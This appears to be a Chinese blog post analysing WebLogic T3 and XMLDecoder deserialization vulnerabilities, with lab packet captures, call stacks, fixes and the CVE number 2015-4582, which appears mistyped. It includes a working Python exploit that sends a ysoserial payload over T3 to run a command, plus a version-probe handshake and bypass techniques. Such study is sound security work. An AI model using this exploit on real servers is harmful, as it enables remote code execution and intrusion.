初识weblogic

文章发布时间:

最后更新时间:

XMLDecoder反序列化

前置知识:

XMLDecoder主要支持SAX和DOM解析标准XML,前者将数据解析为时间流,后者构建它的对象。

image-20221127153725199

DOM在解析时会先构建成一棵树,并进行遍历解析,易受到性能问题的影响。而SAX解析则是线性时间的,XMLDecoder在解析时采用SAX解析规范

  • SAX

    基于事件驱动的设计模式。拆分即有事件源事件处理器以及对应的注册方法将两者连接起来

    图片

    SAX对象使用SAXParser.parer()作为事件源,ContentHandlerErrorHandlerDTDHandlerEntityResolver作为事件处理器

  • XMLDecoder反序列化流程解析

T3协议

  • Weblogic RMI与JAVA RMI不同之处

    • WebLogic RMI支持集群部署和负载均衡

    • WebLogic RMI的服务端会使用字节码生成(Hot Code Generation)功能生成代理对象

      因此不再需要 Skeleton 骨架对象以及 UnicastRemoteObjec t对象

    • WebLogic RMI客户端使用动态代理

      也是使用字节码生成功能,因此不需要 Stub对象

  • T3协议特点

    • 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
    • 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

下面进行抓包分析,先在服务器端部署jar包,里面是一个简单的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package examples.rmi.hello;

import javax.naming.InitialContext;
import java.rmi.RemoteException;

public class HelloImpl implements IHello{
private String name;

public HelloImpl(String s) throws RemoteException {
super();
name = s;
}

@Override
public String sayHello() throws RemoteException {
return "Hello World!";
}

public static void main(String[] args) throws Exception{
try {
HelloImpl obj = new HelloImpl("HelloServer");
InitialContext ctx = new InitialContext();
ctx.bind("HelloServer", obj);
System.out.println("HelloImpl created and bound in the registry" +
" to the name HelloServer");
}catch (Exception e) {
System.out.println("HelloImpl.main: an exception occurred: ");
System.out.println(e.getMessage());
throw e;
}
}
}

这里注意部署目录默认时域服务器下的lib目录,也就是/u01/app/oracle/Domains/ExampleSilentWTDomain/lib/

image-20221127232338408

客户端如下(需要配合wlthint3client.jar以支持t3协议)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package examples.rmi.hello;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class HelloClient {
// Defines the JNDI context factory.
public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";


public HelloClient() {
}

public static void main(String[] args) throws Exception {
String host = "172.16.80.136";
int port = 7001;

try {
InitialContext ic = getInitialContext("t3://" + host + ":" + port);
IHello obj = (IHello) ic.lookup("HelloServer");
System.out.println("Successfully connected to HelloServer on " +
host + " at port " +
port + ": " + obj.sayHello());
} catch (Exception ex) {
System.err.println("An exception occurred: " + ex.getMessage());
throw ex;
}
}
private static InitialContext getInitialContext(String url)
throws NamingException {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}

image-20221127232543112

这里利用wireshark进行抓包分析

image-20221128090141992

可以看到之前也会有一个tcp建立连接的阶段,客户端与服务器端双方会发送各自的版本信息,我们基于此可以进行weblogic的版本探测利用。开头可以构造形式如

1
t3 10.3.6\nAS:255\nHL:19\nMS:10000000\n\n

image-20221128090904001

image-20221128091050219

这里可以看出T3协议由协议头包裹,且数据包中包含多个序列化的对象。因此我们的利用原理就是构造恶意对象并封装到数据包中重新发送了,送上流程图

image-20221128091242911

配置调试环境

利用工具 https://github.com/QAX-A-Team/WeblogicEnvironment

注意iptables设置 idea设置远程调试

image-20221127185707061

image-20221127185724397

CVE-2015-4582

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from calendar import day_abbr
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii


def generatePayload(gadget, cmd):
YSO_PATH = "D:\渗透\工具\利用\ysoserial-all.jar"
popen = subprocess.Popen(
['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
return popen.stdout.read()


def T3Exploit(ip, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"

sock.sendall(handshake.encode())
data = sock.recv(1024)
print(data)

compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
# return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(
b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header + desflag + payload
payload = struct.pack(">I", len(payload)) + payload[4:]
sock.send(payload)


if __name__ == "__main__":
ip = "172.16.80.136"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/success"
payload = generatePayload(gadget, cmd)
T3Exploit(ip, port, payload)

这里存在一个问题就是刚开始发送版本探测包的时候并不能正常返回服务端版本信息,然而用wireshark抓包却可以抓到完整的版本信息。初步推测可能和操作系统版本有关

image-20221128151417439

利用CC1进行反序列化利用最终在/tmp目录下生成success文件

image-20221128151523504

  • 漏洞分析

    序列化数据进入的函数入口在weblogic.rjvm.InboundMsgAbbrev#readObject(),可以看到里面调用了InboundMsgAbbrev.ServerChannelInputStream#readObject()

    image-20221128151809466

    进入该内部类,其继承于ObjectInputStream类,并重写了resolveClass()方法,但是可以看到,其中仍会调用父类的方法且未作过滤检验。该方法也是原生反序列化漏洞的触发点

    image-20221128152427037

  • 关于resolveClass方法

    从类序列化描述符获取类的Class对象。从类描述中获取到了全限定类名,然后利用反射根据全限定类名来获取到对应的 Class 对象并且进行返回。所以这里也是最好做防御的地方,检查一下该类的序列化描述符中记录的类名是否在黑名单上,如果在黑名单上,直接抛出错误,不允许获取恶意的类的Class对象。这样以来,恶意类连生成Class对象的机会都没有

  • 修复方案

    打补丁的方式:resolveClass方法中实现拦截

    web代理的方式:只转发HTTP请求,不会转发T3协议的请求

    负载均衡方式:与WEB代理类似,只接受HTTP请求的转发

CVE-2016-0638

绕过了resolveClass中黑名单限制

1
2
3
4
5
6
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure

利用类weblogic.jms.common.StreamMessageImpl中的readExternal(),该方法对输入流进行了二次反序列化

image-20221128162249221

  • 利用 https://github.com/5up3rc/weblogic_cmd

    image-20221128182519156

    工具分析

    com.supeream.Main#executeBlind()获取参数,然后执行WebLogicOperation.blindExecute()

    image-20221128182637643

    其中给命令赋值,并根据参数os来决定使用的系统命令,接下来进入SerialDataGenerator.serialBlindDatas()

    image-20221128182803106

    首先会在SerialDataGenerator#blindExecutePayloadTransformerChain()构建恶意反序列化对象,可以看到就是构建的CC1利用链

    image-20221128183106601

    之后进入serialData(),继续构造CC1链。之后进入BypassPayloadSelector.selectBypass()

    image-20221128183243076

    这里可以看到我们熟悉的用来绕过黑名单的利用类streamMessageImpl,如果Main.TYPE参数未指明,那么默认就是streamMessageImpl。

    image-20221128183406376

    同时,这里可以看到会先对payload对象进行一次序列化,并封装到streamMessageImpl的buffer属性数组当中

    image-20221128183716501

    进一步,会再对streamMessageImpl对象进行一次序列化,形成最终的JAVA序列化数据

    image-20221128183743432

    最终会在T3ProtocolOperation#send()中将JAVA序列化数据拼接如T3协议数据中,与前面漏洞的构造原理一致

  • 服务端部分分析

    刚开始与之前的漏洞调用过程一致,也会进入InboundMsgAbbrev.ServerChannelInputStream()

    image-20221128184050013

    由于我这里没有用的补丁调试,所以看不出黑名单的拦截过程。但是最终会通过到StreamMessageImpl#readExternal,而不再走之前ServerChannelInputStream中readObject之后的路,后者设置了一系列黑名单拦截。而在StreamMessageImpl#readExternal()中会进一步调用本身的readObject进行二次反序列化(也就是我们之前序列化时的buffer数组中的内容),最终触发CC1

    image-20221128184602007

  • 整体调用栈

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    - readObject:331, AnnotationInvocationHandler (sun.reflect.annotation)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:57, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:601, Method (java.lang.reflect)
    invokeReadObject:1004, ObjectStreamClass (java.io)
    readSerialData:1891, ObjectInputStream (java.io)
    readOrdinaryObject:1796, ObjectInputStream (java.io)
    readObject0:1348, ObjectInputStream (java.io)
    readObject:370, ObjectInputStream (java.io)
    - readExternal:1419, StreamMessageImpl (weblogic.jms.common)
    readExternalData:1835, ObjectInputStream (java.io)
    readOrdinaryObject:1794, ObjectInputStream (java.io)
    readObject0:1348, ObjectInputStream (java.io)
    readObject:370, ObjectInputStream (java.io)
    readObject:66, InboundMsgAbbrev (weblogic.rjvm)

CVE-2016-3510

与CVE-2016-0638原理一致,都是基于黑名单的绕过。这里用的是weblogic.corba.utils.MarshalledObject

我们还是先看exp,其因为TYPE改成了marshall,所以会将payload(也就是恶意AnnotationInvocationHandler对象)作为参数传入marshalledObject方法。

image-20221129212145340

跟入可以看到序列化的恶意payload会被写入objBytes成员变量中

image-20221129212342511

  • 反序列化分析

    weblogic.corba.utils.MarshalledObject这个类没有实现readObject或者readExternal函数,所以在反序列化的时候采用ObjectInputStream的默认流程。但这个流程会调用辅助类ObjectStreamClass的invokeReadResolve函数,后者会调用MarshalledObject的readResolve函数,查看readResolve我们会发现,readResolve中有readObject的调用,而其参数正来自其本身的objBytes变量

    image-20221129212642533

    image-20221129212902361

  • 调用链如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    readObject:331, AnnotationInvocationHandler (sun.reflect.annotation)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:57, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:601, Method (java.lang.reflect)
    invokeReadObject:1004, ObjectStreamClass (java.io)
    readSerialData:1891, ObjectInputStream (java.io)
    readOrdinaryObject:1796, ObjectInputStream (java.io)
    readObject0:1348, ObjectInputStream (java.io)
    readObject:370, ObjectInputStream (java.io)
    readResolve:58, MarshalledObject (weblogic.corba.utils)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:57, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:601, Method (java.lang.reflect)
    invokeReadResolve:1091, ObjectStreamClass (java.io)
    readOrdinaryObject:1805, ObjectInputStream (java.io)
    readObject0:1348, ObjectInputStream (java.io)
    readObject:370, ObjectInputStream (java.io)
    readObject:66, InboundMsgAbbrev (weblogic.rjvm)

参考链接

https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704

http://wjlshare.com/archives/1573

https://www.anquanke.com/post/id/226070#h2-15

https://xz.aliyun.com/t/10173

https://y4er.com/posts/weblogic-cve-2016-0638/#exp%E5%88%86%E6%9E%90

https://www.anquanke.com/post/id/224593